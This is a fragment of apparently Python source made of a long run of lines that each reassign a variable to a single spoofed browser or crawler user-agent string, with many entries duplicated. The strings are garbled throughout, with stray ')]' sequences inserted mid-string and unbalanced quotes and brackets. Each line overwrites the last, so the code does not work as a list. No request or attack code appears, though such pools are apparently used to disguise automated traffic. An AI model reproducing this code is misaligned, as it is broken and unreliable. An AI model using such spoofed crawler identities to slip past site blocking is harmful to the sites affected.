[('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; 